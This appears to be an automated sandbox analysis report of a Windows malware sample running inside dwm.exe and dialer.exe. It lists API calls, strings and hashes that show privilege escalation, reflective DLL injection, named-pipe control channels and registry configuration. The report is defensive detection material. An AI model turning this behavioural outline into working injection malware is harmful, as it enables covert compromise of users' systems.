Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: A1E0C261A01B48C5DF029F31E88029873B0EBA8B64F98D123CE8C47351FB38D1E9C311

Function 000002BAAEDF1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDF1C2D
HeapAlloc.KERNEL32 ref: 000002BAAEDF1C3B
GetProcessHeap.KERNEL32 ref: 000002BAAEDF1C77
HeapFree.KERNEL32 ref: 000002BAAEDF1C85

Part of subcall function 000002BAAEDF152C: StrCmpIW.SHLWAPI ref: 000002BAAEDF155D

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 971d5e98438810f3fd65c55ecbdf4f3b11b29921933e4b78099080cbc9bec214
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 4811AC25601B9581EA54DF6BA80C32AB7B1FB89FD0F288128DE8D43B66DF39C442C311

Function 000002BAAEDF1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDF126E
HeapAlloc.KERNEL32 ref: 000002BAAEDF127D
GetProcessHeap.KERNEL32 ref: 000002BAAEDF1297
HeapAlloc.KERNEL32 ref: 000002BAAEDF12A8

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 4716464f79ddb8eb708ebf8df0892cbc7baf360fe0a5473338bdaf4dc5786430
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: C0E06D3564160686EB548F62D80C34A37F1FB8DF06F14C024C98D07B52DF7D8499C761

Analysis Process: dialer.exePID: 7648, Parent PID: 7348COMMON

Execution Graph

Execution Coverage:	48.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	226
Total number of Limit Nodes:	22

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpiA.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: CloseHandle.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNELBASE ref: 0000000140002511

Strings

D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE
DLL, xrefs: 0000000140002321
pid, xrefs: 000000014000241B
svc64, xrefs: 0000000140002452
ntdll.dll, xrefs: 0000000140002277
SeDebugPrivilege, xrefs: 00000001400022C9
kernel32.dll, xrefs: 0000000140002283
SOFTWARE\dialerconfig, xrefs: 0000000140002399

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentHandleResource$FileSecurityThread$DescriptorFreeHeapModuleOpenProtectTokenValueVirtual$AdjustAllocConvertErrorFindInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 4177739653-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNEL32 ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
CloseHandle.KERNELBASE ref: 00000001400014AB
CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

dialer.exe, xrefs: 00000001400011CC
MSBuild.exe, xrefs: 00000001400011B8
@, xrefs: 0000000140001401
ReflectiveDllMain, xrefs: 000000014000139D

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileLocalName$CodeCountErrorExitFindFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2561231171-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
CloseHandle.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
RtlFreeHeap.NTDLL ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
RtlFreeHeap.NTDLL ref: 0000000140001651

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpiA.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
CloseHandle.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

C:\Windows\System32\, xrefs: 0000000140001F4F
.text, xrefs: 0000000140002074

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNELBASE ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNELBASE ref: 0000000140002C91

Strings

\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05
M, xrefs: 0000000140002C6E

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: 180580de56f56ab00dd4d516fca46f959342e05f281243e0c5337f45e18aa23b
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: 180580de56f56ab00dd4d516fca46f959342e05f281243e0c5337f45e18aa23b
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 33f89feb9858a4e39e6e7226b1872fe8dc0a47489d7e71beaca7a62b826bfc15
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 33f89feb9858a4e39e6e7226b1872fe8dc0a47489d7e71beaca7a62b826bfc15
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
SleepEx.KERNELBASE ref: 0000000140002BEE

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
HeapAlloc.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: CloseHandle.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNELBASE ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandleOpenWow64
String ID:
API String ID: 10462204-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
